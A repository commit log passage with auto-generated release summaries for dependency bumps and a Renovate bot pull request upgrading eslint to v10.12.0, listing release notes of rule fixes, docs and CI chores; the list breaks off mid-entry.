## Summary by CodeRabbit

* **Deployment**
* Updated the Cloud SQL Proxy image and integrated it with deployment
charts.
* Containers now run with stricter security settings, including non-root
execution and read-only filesystems.
* **Desktop**
* Updated Electron and Node versions and adjusted Windows builds to
support multiple architectures.
* **Maintenance**
  * Updated Vite and Storybook versions across development tools.
  * Improved production GraphQL schema handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-22 16:38:31 +08:00
DarkSky 9be1a8284a feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Workspace selection, creation, and navigation after import now use
consistent view transitions, including in browsers without native
transition support.
* **Chores**
* Updated supporting components for mathematical notation, diagrams,
desktop functionality, and backend services.
* Refreshed tools used by the app and its documentation, including
components for error reporting and GraphQL operations. These updates do
not change the rendered equations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 23:28:25 +08:00
renovate[bot] 203a7b4f94 chore: bump up eslint version to v10 (#14400)
> ℹ️ **Note**
> 
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://redirect.github.com/eslint/eslint)) | [`9.39.2` →
`10.12.0`](https://renovatebot.com/diffs/npm/eslint/9.39.2/10.12.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/10.12.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/9.39.2/10.12.0?slim=true)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

###
[`v10.12.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.12.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.11.0...v10.12.0)

#### Features

-
[`4618052`](https://redirect.github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5)
feat: handle astral letters in `new-cap`
([#&#8203;21357](https://redirect.github.com/eslint/eslint/issues/21357))
(sary)
-
[`4ec5168`](https://redirect.github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa)
feat: allow `SourceCode#getText()` to accept tokens and comments
([#&#8203;21340](https://redirect.github.com/eslint/eslint/issues/21340))
(electrohyun)

#### Bug Fixes

-
[`bc51eee`](https://redirect.github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7)
fix: `prefer-arrow-callback` false positive in conditional test
([#&#8203;21373](https://redirect.github.com/eslint/eslint/issues/21373))
(Daniel Pinto)
-
[`bbff86c`](https://redirect.github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038)
fix: skip lines with multiple comments in `max-lines-per-function`
([#&#8203;21332](https://redirect.github.com/eslint/eslint/issues/21332))
(xbinaryx)
-
[`efc4d6b`](https://redirect.github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a)
fix: astral letters in `consistent-return`, `no-eval`, `no-invalid-this`
([#&#8203;21360](https://redirect.github.com/eslint/eslint/issues/21360))
(lumir)
-
[`93de066`](https://redirect.github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba)
fix: prefer-exponentiation-operator autofix for async function base
([#&#8203;21322](https://redirect.github.com/eslint/eslint/issues/21322))
(Vladimir Babin)
-
[`02e34ff`](https://redirect.github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5)
fix: add missing space after `else` in `curly` autofix
([#&#8203;21355](https://redirect.github.com/eslint/eslint/issues/21355))
(Pixel)
-
[`b14b8bc`](https://redirect.github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160)
fix: correct `id-length` message for long private names
([#&#8203;21348](https://redirect.github.com/eslint/eslint/issues/21348))
(Pixel)
-
[`69aac01`](https://redirect.github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8)
fix: support `TSFunctionType` in `getFunctionHeadLoc`
([#&#8203;21335](https://redirect.github.com/eslint/eslint/issues/21335))
(xbinaryx)
-
[`686630e`](https://redirect.github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532)
fix: `no-loss-of-precision` false positive with `0.e5`
([#&#8203;21337](https://redirect.github.com/eslint/eslint/issues/21337))
(sethamus)

#### Documentation

-
[`67eb586`](https://redirect.github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f)
docs: Update README (GitHub Actions Bot)
-
[`5370d7e`](https://redirect.github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21)
docs: clarify `one-var` `separateRequires` matches any `require()` call
([#&#8203;21192](https://redirect.github.com/eslint/eslint/issues/21192))
(sethamus)
-
[`8816c1d`](https://redirect.github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f)
docs: Update README (GitHub Actions Bot)
-
[`3d2e7ce`](https://redirect.github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e)
docs: fix typo in no-unused-expressions documentation
([#&#8203;21346](https://redirect.github.com/eslint/eslint/issues/21346))
(bytedoe)

#### Chores

-
[`152067f`](https://redirect.github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6)
chore: update ecosystem plugins
([#&#8203;21362](https://redirect.github.com/eslint/eslint/issues/21362))
(ESLint Bot)
-
[`b56d58e`](https://redirect.github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e)
chore: update github/codeql-action action to v4.38.2
([#&#8203;21376](https://redirect.github.com/eslint/eslint/issues/21376))
(renovate\[bot])
-
[`bfaea12`](https://redirect.github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177)
perf: cache normalized config globals per languageOptions
([#&#8203;21364](https://redirect.github.com/eslint/eslint/issues/21364))
(James Ross)
-
[`322209e`](https://redirect.github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c)
ci: avoid Nx cache in ecosystem tests and disable failing test
([#&#8203;21369](https://redirect.github.com/eslint/eslint/issues/21369))
(Francesco Trotta)
-
[`d166567`](https://redirect.github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927)
chore: update dependency prettier to v3.9.9
([#&#8203;21371](https://redirect.github.com/eslint/eslint/issues/21371))
(renovate\[bot])
-
[`29585ce`](https://redirect.github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c)
chore: update dependency eslint-plugin-expect-type to ^0.7.0
([#&#8203;21359](https://redirect.github.com/eslint/eslint/issues/21359))
(renovate\[bot])
-
[`39d79ba`](https://redirect.github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d)
chore: update github/codeql-action action to v4.38.1
([#&#8203;21354](https://redirect.github.com/eslint/eslint/issues/21354))
(renovate\[bot])
-
[`182a6e9`](https://redirect.github.com/eslint/eslint/commit/182a6e993a8a5dbdad5a628b69ad7382d48bf24f)
chore: update dependency prettier to v3.9.8
([#&#8203;21352](https://redirect.github.com/eslint/eslint/issues/21352))
(renovate\[bot])
-
[`f995127`](https://redirect.github.com/eslint/eslint/commit/f995127230dad258069c29b7f51971681bd53f00)
chore: remove CLAUDE.md in favor of AGENTS.md
([#&#8203;21339](https://redirect.github.com/eslint/eslint/issues/21339))
(Jarren)
-
[`b95fb6c`](https://redirect.github.com/eslint/eslint/commit/b95fb6cb335f82a0ccabb0944ac3b89c703bd947)
chore: update dependency prettier to v3.9.7
([#&#8203;21347](https://redirect.github.com/eslint/eslint/issues/21347))
(renovate\[bot])
-
[`3782dd4`](https://redirect.github.com/eslint/eslint/commit/3782dd458fdfbe492e600d9a54b295a9721ed815)
chore: update ecosystem plugins
([#&#8203;21342](https://redirect.github.com/eslint/eslint/issues/21342))
(ESLint Bot)

###
[`v10.11.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.11.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.10.0...v10.11.0)

#### Features

-
[`d136fa4`](https://redirect.github.com/eslint/eslint/commit/d136fa4b0d2dd4a9e738ca1c012cc674d1441127)
feat: object-shorthand handle quoted properties for `ignoreConstructors`
([#&#8203;21271](https://redirect.github.com/eslint/eslint/issues/21271))
(Pavel)
-
[`397b3b8`](https://redirect.github.com/eslint/eslint/commit/397b3b8134b8ce1a61cbf414d4c29c945ba25690)
feat: report unsafe labeled `continue` in `no-unsafe-finally` rule
([#&#8203;21316](https://redirect.github.com/eslint/eslint/issues/21316))
(electrohyun)
-
[`d3dd47f`](https://redirect.github.com/eslint/eslint/commit/d3dd47f42e4cb5f9da27e3a2e741aa21e02ea1a4)
feat: only exempt `new-cap` built-ins that reference the global
([#&#8203;21290](https://redirect.github.com/eslint/eslint/issues/21290))
(sethamus)

#### Bug Fixes

-
[`22b09f5`](https://redirect.github.com/eslint/eslint/commit/22b09f54f67a9512d4cea39ddbab9b6973d5c476)
fix: ignore `__proto__` properties in `prefer-object-spread`
([#&#8203;21311](https://redirect.github.com/eslint/eslint/issues/21311))
(xbinaryx)
-
[`b684bb1`](https://redirect.github.com/eslint/eslint/commit/b684bb1cd7e6be03ad1b7a951baead936d9c2166)
fix: make TimePass.parse optional in types and docs
([#&#8203;21313](https://redirect.github.com/eslint/eslint/issues/21313))
(ntnyq)
-
[`26d11bc`](https://redirect.github.com/eslint/eslint/commit/26d11bce3e0e21f223613d4bb4be3423839b229e)
fix: don't report `__proto__` properties in `object-shorthand`
([#&#8203;21310](https://redirect.github.com/eslint/eslint/issues/21310))
(xbinaryx)

#### Documentation

-
[`9ecfdc5`](https://redirect.github.com/eslint/eslint/commit/9ecfdc5319f83580cf3b81beab7e936015fef2fa)
docs: note that --cache can serve stale results for cross-file rules
([#&#8203;21312](https://redirect.github.com/eslint/eslint/issues/21312))
(bytedoe)
-
[`6c789ff`](https://redirect.github.com/eslint/eslint/commit/6c789ff39bc5420e94e8dafeb328bf2b7e3d35ab)
docs: Update README (GitHub Actions Bot)
-
[`5997825`](https://redirect.github.com/eslint/eslint/commit/5997825635dc9c4e81434894607ef2e3887e0ea3)
docs: clarify preserve-caught-error known limitation
([#&#8203;21294](https://redirect.github.com/eslint/eslint/issues/21294))
(Akinyemi Toluwalase)

#### Chores

-
[`520dd77`](https://redirect.github.com/eslint/eslint/commit/520dd77a35922fb537e2dbfb3c839d047acbdd68)
perf: Implement fast paths in critical areas
([#&#8203;21210](https://redirect.github.com/eslint/eslint/issues/21210))
(Nicholas C. Zakas)
-
[`92086c8`](https://redirect.github.com/eslint/eslint/commit/92086c87e042413a3d0363d8fc3fbb11db98d06a)
test: update `EMFILE` error generation for Node.js 26.9.0 compatibility
([#&#8203;21330](https://redirect.github.com/eslint/eslint/issues/21330))
(Francesco Trotta)
-
[`9ac7eb6`](https://redirect.github.com/eslint/eslint/commit/9ac7eb60525ec768c2fdc6699e5a292aa913ce9e)
chore: update github/codeql-action action to v4.38.0
([#&#8203;21331](https://redirect.github.com/eslint/eslint/issues/21331))
(renovate\[bot])
-
[`24310e3`](https://redirect.github.com/eslint/eslint/commit/24310e3a0e22b3c086ca402f88448676f2e1cfcd)
chore: update ecosystem plugins
([#&#8203;21324](https://redirect.github.com/eslint/eslint/issues/21324))
(ESLint Bot)
-
[`45ad79e`](https://redirect.github.com/eslint/eslint/commit/45ad79e54a39b54b4ce8eb47e612bd2f72a7a651)
ci: bump pnpm/action-setup from 6.0.10 to 6.1.0
([#&#8203;21318](https://redirect.github.com/eslint/eslint/issues/21318))
(dependabot\[bot])
-
[`ac74e37`](https://redirect.github.com/eslint/eslint/commit/ac74e37322ebf122ada676f153dc55c81f3caab0)
chore: Add AGENTS.md with AI disclosure requirements
([#&#8203;21221](https://redirect.github.com/eslint/eslint/issues/21221))
(Nicholas C. Zakas)
-
[`c832660`](https://redirect.github.com/eslint/eslint/commit/c8326608e710e670beaf982501aed80ea104919a)
chore: Upgrade Stylelint to the latest version in docs
([#&#8203;21245](https://redirect.github.com/eslint/eslint/issues/21245))
(Jung Hyeon Jun)
-
[`f9f88fc`](https://redirect.github.com/eslint/eslint/commit/f9f88fcccd965fdc162b89c4615dd4018e3cabdf)
chore: update ecosystem plugins
([#&#8203;21308](https://redirect.github.com/eslint/eslint/issues/21308))
(ESLint Bot)
-
[`fc81076`](https://redirect.github.com/eslint/eslint/commit/fc81076a5b8145360654d81cbc130cf7d25dca77)
ci: add more types integration tests
([#&#8203;20395](https://redirect.github.com/eslint/eslint/issues/20395))
(Nitin Kumar)

###
[`v10.10.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.10.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.9.1...v10.10.0)

#### Features

-
[`264b434`](https://redirect.github.com/eslint/eslint/commit/264b4346d1963701df0c398b4aeb2f6e8b2af93e)
feat: add `d` and `v` flags to `no-unexpected-multiline`
([#&#8203;21305](https://redirect.github.com/eslint/eslint/issues/21305))
(Gihyeon Jeong / 정기현)
-
[`c6cc6c5`](https://redirect.github.com/eslint/eslint/commit/c6cc6c592f30901345d94ef75e0d42c1894fae6c)
feat: check `Object.prototype` property names in `new-cap`
([#&#8203;21269](https://redirect.github.com/eslint/eslint/issues/21269))
(crimsonjay0)
-
[`5661fa6`](https://redirect.github.com/eslint/eslint/commit/5661fa65fde9fd4c14f0b730e3cee6a42fc657c1)
feat: no-extra-bind false negatives with class fields and static blocks
([#&#8203;21260](https://redirect.github.com/eslint/eslint/issues/21260))
(synthex-byte)

#### Bug Fixes

-
[`bb47dc6`](https://redirect.github.com/eslint/eslint/commit/bb47dc6da2399a8f76c0c0c3273e6bc314c480e5)
fix: update dependency file-entry-cache to v11
([#&#8203;20801](https://redirect.github.com/eslint/eslint/issues/20801))
(Milos Djermanovic)
-
[`427ac0a`](https://redirect.github.com/eslint/eslint/commit/427ac0a014066c36aa57fa8fa9af20fd9fb591e1)
fix: use format strings in debug calls
([#&#8203;21247](https://redirect.github.com/eslint/eslint/issues/21247))
(Francesco Trotta)
-
[`9d81532`](https://redirect.github.com/eslint/eslint/commit/9d8153223dbf47b9aecdc1474202aaee4845f146)
fix: support `__proto__` in `/* exported */` comments
([#&#8203;21261](https://redirect.github.com/eslint/eslint/issues/21261))
(sethamus)
-
[`87e0a08`](https://redirect.github.com/eslint/eslint/commit/87e0a082438264ad90b87fd74165ab4fd90f63ef)
fix: prefer-object-has-own autofix breaks when Object is shadowed
([#&#8203;21282](https://redirect.github.com/eslint/eslint/issues/21282))
(김채영)
-
[`8e2cb14`](https://redirect.github.com/eslint/eslint/commit/8e2cb142217f2efee1d10dcc02bfb75145ae775d)
fix: `new-cap` false positive for `UTC` calls with `properties: false`
([#&#8203;21275](https://redirect.github.com/eslint/eslint/issues/21275))
(Pixel)
-
[`9f4a364`](https://redirect.github.com/eslint/eslint/commit/9f4a364ab0ade048dfce1f37792b1d461d866e55)
fix: Ignore static imports in no-unreachable
([#&#8203;21276](https://redirect.github.com/eslint/eslint/issues/21276))
(Taha Kotil)

#### Documentation

-
[`2417cad`](https://redirect.github.com/eslint/eslint/commit/2417cad57d7d1bc4cf3ecf0f0575cfb10ff2011c)
docs: Update README (GitHub Actions Bot)
-
[`9cecb8a`](https://redirect.github.com/eslint/eslint/commit/9cecb8a0a2348070abf72321965d41919c7cc626)
docs: document `\c` control letter escapes in no-control-regex
([#&#8203;21286](https://redirect.github.com/eslint/eslint/issues/21286))
(한국)
-
[`8724829`](https://redirect.github.com/eslint/eslint/commit/8724829f69f8ed80c876e3a5a017da199ce78739)
docs: update compat table links
([#&#8203;21263](https://redirect.github.com/eslint/eslint/issues/21263))
(fnx)
-
[`5634542`](https://redirect.github.com/eslint/eslint/commit/5634542be580750ffb1a5766470f9e9c72719696)
docs: Clarify eqeqeq suggestion behavior
([#&#8203;21256](https://redirect.github.com/eslint/eslint/issues/21256))
(Müslüm Yılmaz)

#### Chores

-
[`b3d876b`](https://redirect.github.com/eslint/eslint/commit/b3d876b46083d67899eb1d9613118c1c583632a2)
chore: disable npm audit in ecosystem tests
([#&#8203;21306](https://redirect.github.com/eslint/eslint/issues/21306))
(Francesco Trotta)
-
[`1696682`](https://redirect.github.com/eslint/eslint/commit/1696682791661c13167eb905da2f38d1b8f4a3bf)
ci: restore EMFILE test on Node.js 26
([#&#8203;21297](https://redirect.github.com/eslint/eslint/issues/21297))
(Marry (Subin Yang))
-
[`2c7f5d6`](https://redirect.github.com/eslint/eslint/commit/2c7f5d6f47a92e8c0847af103e40fdb2f4dc61ef)
chore: update github/codeql-action action to v4.37.9
([#&#8203;21296](https://redirect.github.com/eslint/eslint/issues/21296))
(renovate\[bot])
-
[`3c753f1`](https://redirect.github.com/eslint/eslint/commit/3c753f18b461bfbf36d41a79a7863c093ef48489)
chore: update eslint
([#&#8203;21289](https://redirect.github.com/eslint/eslint/issues/21289))
(renovate\[bot])
-
[`1c73469`](https://redirect.github.com/eslint/eslint/commit/1c734690bf6f4f9c542bec428d5a1a5c6cc4a19b)
chore: update ecosystem plugins
([#&#8203;21280](https://redirect.github.com/eslint/eslint/issues/21280))
(ESLint Bot)
-
[`08a02be`](https://redirect.github.com/eslint/eslint/commit/08a02be429e21fc93d86c8dd16cec6dc945ea2c1)
test: add error locations to `no-extra-boolean-cast`
([#&#8203;21266](https://redirect.github.com/eslint/eslint/issues/21266))
(lumir)
-
[`77bb1db`](https://redirect.github.com/eslint/eslint/commit/77bb1db8e730b7da2347c647d60f215706aa349a)
chore: update github/codeql-action action to v4.37.8
([#&#8203;21270](https://redirect.github.com/eslint/eslint/issues/21270))
(renovate\[bot])
-
[`007e81a`](https://redirect.github.com/eslint/eslint/commit/007e81ac0ad66bd0be4887d88a276df292ae0bed)
ci: skip EMFILE test on Node.js 26
([#&#8203;21265](https://redirect.github.com/eslint/eslint/issues/21265))
(lumir)
-
[`0430280`](https://redirect.github.com/eslint/eslint/commit/0430280e7cca9dc0fdbf0bc50464e98e84285c49)
chore: improve ecosystem tests compatibility on Windows
([#&#8203;21178](https://redirect.github.com/eslint/eslint/issues/21178))
(crimsonjay0)

###
[`v10.9.1`](https://redirect.github.com/eslint/eslint/releases/tag/v10.9.1)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.9.0...v10.9.1)

#### Bug Fixes

-
[`1e641c9`](https://redirect.github.com/eslint/eslint/commit/1e641c919fc1421493bf913feb607896982451a3)
fix: no-loss-of-precision false positive with trailing decimal point
([#&#8203;21251](https://redirect.github.com/eslint/eslint/issues/21251))
(Aleksandr Shoronov)

#### Documentation

-
[`ad74a8d`](https://redirect.github.com/eslint/eslint/commit/ad74a8dada2aaa17bfd0b8cc7b4119ff7a8ac04b)
docs: add deprecation steps for EOL package versions
([#&#8203;21248](https://redirect.github.com/eslint/eslint/issues/21248))
(Francesco Trotta)

#### Chores

-
[`3c3ae53`](https://redirect.github.com/eslint/eslint/commit/3c3ae53a43721162f0db76c69665ebd9d752ea52)
chore: update ecosystem plugins
([#&#8203;21249](https://redirect.github.com/eslint/eslint/issues/21249))
(ESLint Bot)

###
[`v10.9.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.9.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.8.1...v10.9.0)

#### Features

-
[`08de88e`](https://redirect.github.com/eslint/eslint/commit/08de88e50294c4e01f6cae97eceeb578da55792b)
feat: handle underflow in no-loss-of-precision
([#&#8203;21218](https://redirect.github.com/eslint/eslint/issues/21218))
(Rithish S)
-
[`55db479`](https://redirect.github.com/eslint/eslint/commit/55db4791120ae591d88089c43127b7b0e16866d4)
feat: add checkConditionalExpressions to `no-unmodified-loop-condition`
([#&#8203;21175](https://redirect.github.com/eslint/eslint/issues/21175))
(sethamus)

#### Bug Fixes

-
[`2ba3025`](https://redirect.github.com/eslint/eslint/commit/2ba302554e7a24e9909bbdd026fd0c2d1d0d8638)
fix: prevent unsafe `no-var` autofix with hoisted functions
([#&#8203;21213](https://redirect.github.com/eslint/eslint/issues/21213))
(sethamus)
-
[`8e69622`](https://redirect.github.com/eslint/eslint/commit/8e6962219a605c5f5add10953aa31027da839194)
fix: Prevent no-var autofix when var is shadowed by catch parameter
([#&#8203;21204](https://redirect.github.com/eslint/eslint/issues/21204))
(Yang Hyeonjong)
-
[`684b579`](https://redirect.github.com/eslint/eslint/commit/684b57972e1ddf25e076fb36189c60bbcacee635)
fix: prefer-template invalid autofix creates a tagged template call
([#&#8203;21207](https://redirect.github.com/eslint/eslint/issues/21207))
(김채영)

#### Documentation

-
[`9ef407a`](https://redirect.github.com/eslint/eslint/commit/9ef407a3b051e74f50dc7fb8914e2bd89b3e5e53)
docs: use eslint.config.\* wherever config file names are listed
([#&#8203;21216](https://redirect.github.com/eslint/eslint/issues/21216))
(Marry (Subin Yang))
-
[`87f66f4`](https://redirect.github.com/eslint/eslint/commit/87f66f4435c4df7f4f6815c939d153196ec03e3c)
docs: Update README (GitHub Actions Bot)
-
[`585ef37`](https://redirect.github.com/eslint/eslint/commit/585ef37516c0dc29ddb91ce2a2cdcc46fdbbd610)
docs: update architecture documentation
([#&#8203;21112](https://redirect.github.com/eslint/eslint/issues/21112))
(Francesco Trotta)
-
[`f3993b0`](https://redirect.github.com/eslint/eslint/commit/f3993b0547bace7370e9728ee7408af49d367d76)
docs: Update README (GitHub Actions Bot)
-
[`ffc87d6`](https://redirect.github.com/eslint/eslint/commit/ffc87d6234b2aa4335eec069e5c4d6ac04832b9e)
docs: fix broken links in Further Reading sections
([#&#8203;21203](https://redirect.github.com/eslint/eslint/issues/21203))
(Minsu)
-
[`1a761e1`](https://redirect.github.com/eslint/eslint/commit/1a761e1d11b011fcb6bee181231a51010c500e4d)
docs: update moved JSX specification links
([#&#8203;21198](https://redirect.github.com/eslint/eslint/issues/21198))
(Imran Mustafa)
-
[`4d00ca4`](https://redirect.github.com/eslint/eslint/commit/4d00ca4064ae0d1a75b604a16c68ab9f386ad388)
docs: update ESLint peer dependency to `^10.0.0` in shareable configs
([#&#8203;21202](https://redirect.github.com/eslint/eslint/issues/21202))
(lumir)
-
[`510d1a2`](https://redirect.github.com/eslint/eslint/commit/510d1a2e87bc197219f42e195ddb638d2b183a5a)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`899dbf1`](https://redirect.github.com/eslint/eslint/commit/899dbf131ce12a194b394bb8d67307df23509d17)
chore: update github/codeql-action action to v4.37.7
([#&#8203;21243](https://redirect.github.com/eslint/eslint/issues/21243))
(renovate\[bot])
-
[`9aa3873`](https://redirect.github.com/eslint/eslint/commit/9aa38732177935bd1d7f1493732c0b67666be28a)
chore: update ecosystem plugins
([#&#8203;21235](https://redirect.github.com/eslint/eslint/issues/21235))
(ESLint Bot)
-
[`dc1e7a8`](https://redirect.github.com/eslint/eslint/commit/dc1e7a8416937edefe04cf836ee202a6fc03bedd)
chore: update ecosystem plugins
([#&#8203;21208](https://redirect.github.com/eslint/eslint/issues/21208))
(ESLint Bot)
-
[`f878d21`](https://redirect.github.com/eslint/eslint/commit/f878d212e9622da9513bcd60d2aedb2e8bb4fc8b)
ci: bump pnpm/action-setup from 6.0.9 to 6.0.10
([#&#8203;21200](https://redirect.github.com/eslint/eslint/issues/21200))
(dependabot\[bot])
-
[`4891e50`](https://redirect.github.com/eslint/eslint/commit/4891e50aceadb0e886ad7d8ab5ae2beab563de85)
ci: bump github/codeql-action from 4.37.4 to 4.37.6
([#&#8203;21199](https://redirect.github.com/eslint/eslint/issues/21199))
(dependabot\[bot])

###
[`v10.8.1`](https://redirect.github.com/eslint/eslint/releases/tag/v10.8.1)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.8.0...v10.8.1)

#### Bug Fixes

-
[`18eb0a7`](https://redirect.github.com/eslint/eslint/commit/18eb0a7e787b9fac3049ef3dad0e845d2bd940a4)
fix: prevent ASI hazard in `no-unused-labels` autofix
([#&#8203;21173](https://redirect.github.com/eslint/eslint/issues/21173))
(dongkyu lee)
-
[`151ba3f`](https://redirect.github.com/eslint/eslint/commit/151ba3f5834a0909e8b9b1736f4889ac694c0104)
fix: false positives in `getter-return` and `accessor-pairs`
([#&#8203;21163](https://redirect.github.com/eslint/eslint/issues/21163))
(Grit)
-
[`6898df9`](https://redirect.github.com/eslint/eslint/commit/6898df9364639ee64b9448a4cb6b08a30c16bd37)
fix: ignore meta-property names in `id-denylist`
([#&#8203;21166](https://redirect.github.com/eslint/eslint/issues/21166))
(Pixel)
-
[`4d7db66`](https://redirect.github.com/eslint/eslint/commit/4d7db6628e2badf0857cb88734fe641c3874bce9)
fix: ignore meta-property names in `id-match`
([#&#8203;21167](https://redirect.github.com/eslint/eslint/issues/21167))
(Pixel)
-
[`677214e`](https://redirect.github.com/eslint/eslint/commit/677214e7eea83d8bc6e4b79eea871577e1369d5f)
fix: handle ASI hazards in no-unused-vars removeVar suggestion
([#&#8203;20935](https://redirect.github.com/eslint/eslint/issues/20935))
(kuldeep kumar)

#### Documentation

-
[`7d0cbf8`](https://redirect.github.com/eslint/eslint/commit/7d0cbf81cfdb7526b5c4cb7b222ddc7f257db560)
docs: Update README (GitHub Actions Bot)
-
[`0a05812`](https://redirect.github.com/eslint/eslint/commit/0a05812adb12598b32e85297b98df5ad14501d60)
docs: add missing backticks to `no-duplicate-imports.js`
([#&#8203;21183](https://redirect.github.com/eslint/eslint/issues/21183))
(Lee Daeun)
-
[`678c90b`](https://redirect.github.com/eslint/eslint/commit/678c90b55da2889d4400cbf6e2584ab683faf202)
docs: Update README (GitHub Actions Bot)
-
[`8a10424`](https://redirect.github.com/eslint/eslint/commit/8a104242e8e1c5614940fab7324346974cff7d26)
docs: Update README (GitHub Actions Bot)
-
[`69bb948`](https://redirect.github.com/eslint/eslint/commit/69bb948061105426dbe6e3c931fcda783286e020)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`0a14800`](https://redirect.github.com/eslint/eslint/commit/0a148005051fded2ef1d14cc228ae505251b4b10)
chore: update github/codeql-action action to v4.37.4
([#&#8203;21196](https://redirect.github.com/eslint/eslint/issues/21196))
(renovate\[bot])
-
[`05adcb1`](https://redirect.github.com/eslint/eslint/commit/05adcb13542061dc7fadde5cd58d23d405a96d93)
test: fix failing ecosystem test for `eslint-plugin-unicorn`
([#&#8203;21191](https://redirect.github.com/eslint/eslint/issues/21191))
(Lazizbek Ergashev)
-
[`5611035`](https://redirect.github.com/eslint/eslint/commit/56110356652dd614b3cf0933538abb551fc6bd6f)
test: add error locations info to `no-void`
([#&#8203;21185](https://redirect.github.com/eslint/eslint/issues/21185))
(Lee Daeun)
-
[`ee47333`](https://redirect.github.com/eslint/eslint/commit/ee47333aa681cfc3cb54df08c38f211ea219cc2a)
ci: bump github/codeql-action from 4 to 4.37.3
([#&#8203;21176](https://redirect.github.com/eslint/eslint/issues/21176))
(dependabot\[bot])
-
[`f131c03`](https://redirect.github.com/eslint/eslint/commit/f131c034ad91bbf06bcbb6b5e931447a8e419a46)
chore: improve ecosystem test failure reporting
([#&#8203;20937](https://redirect.github.com/eslint/eslint/issues/20937))
(crimsonjay0)
-
[`1f6edde`](https://redirect.github.com/eslint/eslint/commit/1f6eddee609b369b50993eab08d437dda4700991)
chore: update ecosystem plugins
([#&#8203;21182](https://redirect.github.com/eslint/eslint/issues/21182))
(ESLint Bot)
-
[`d3266fb`](https://redirect.github.com/eslint/eslint/commit/d3266fb26c719c6b90a6cbe54bb120c9335ad19c)
chore: unpin `webpack` dependency
([#&#8203;21172](https://redirect.github.com/eslint/eslint/issues/21172))
(Francesco Trotta)
-
[`65a6519`](https://redirect.github.com/eslint/eslint/commit/65a6519cc8733b4688558a8611397cf9d01dd55d)
chore: add allowScripts field to package.json
([#&#8203;21092](https://redirect.github.com/eslint/eslint/issues/21092))
(GiHoon Noh)
-
[`22e5256`](https://redirect.github.com/eslint/eslint/commit/22e52568536e0009d4493dc888736bc163220c4b)
ci: add `triage:no` label to Dependabot PRs
([#&#8203;21141](https://redirect.github.com/eslint/eslint/issues/21141))
(lumir)
-
[`55c9038`](https://redirect.github.com/eslint/eslint/commit/55c9038836c91b6bd5617f0c97bea2274c9cc0bf)
ci: bump actions/labeler from 6 to 7
([#&#8203;21159](https://redirect.github.com/eslint/eslint/issues/21159))
(dependabot\[bot])
-
[`7280e78`](https://redirect.github.com/eslint/eslint/commit/7280e78183d4711a49916b6a49ba5efaa651a991)
chore: update dependency prettier to v3.9.6
([#&#8203;21162](https://redirect.github.com/eslint/eslint/issues/21162))
(renovate\[bot])
-
[`eddbad6`](https://redirect.github.com/eslint/eslint/commit/eddbad60158d8cda86830fbe934a9d2282273b32)
test: fix failing ecosystem test for `eslint-plugin-unicorn`
([#&#8203;21156](https://redirect.github.com/eslint/eslint/issues/21156))
(Francesco Trotta)
-
[`60a178d`](https://redirect.github.com/eslint/eslint/commit/60a178d5ef1b0c471be0831031ed7347f8f81dc2)
chore: update ecosystem plugins
([#&#8203;21150](https://redirect.github.com/eslint/eslint/issues/21150))
(ESLint Bot)
-
[`f9f61dc`](https://redirect.github.com/eslint/eslint/commit/f9f61dc6112836f46a58a410c38b8c2faf10973f)
test: add error locations to `no-unreachable`
([#&#8203;21151](https://redirect.github.com/eslint/eslint/issues/21151))
(JIYEON)
-
[`d086293`](https://redirect.github.com/eslint/eslint/commit/d08629382b0a6aaa042823b796e5100e60053b54)
test: add error locations to `no-undef`
([#&#8203;21147](https://redirect.github.com/eslint/eslint/issues/21147))
(JIYEON)
-
[`cc01b67`](https://redirect.github.com/eslint/eslint/commit/cc01b67061bbf558aa25746883ea1cad847f7cf2)
test: add error locations to `no-useless-catch`
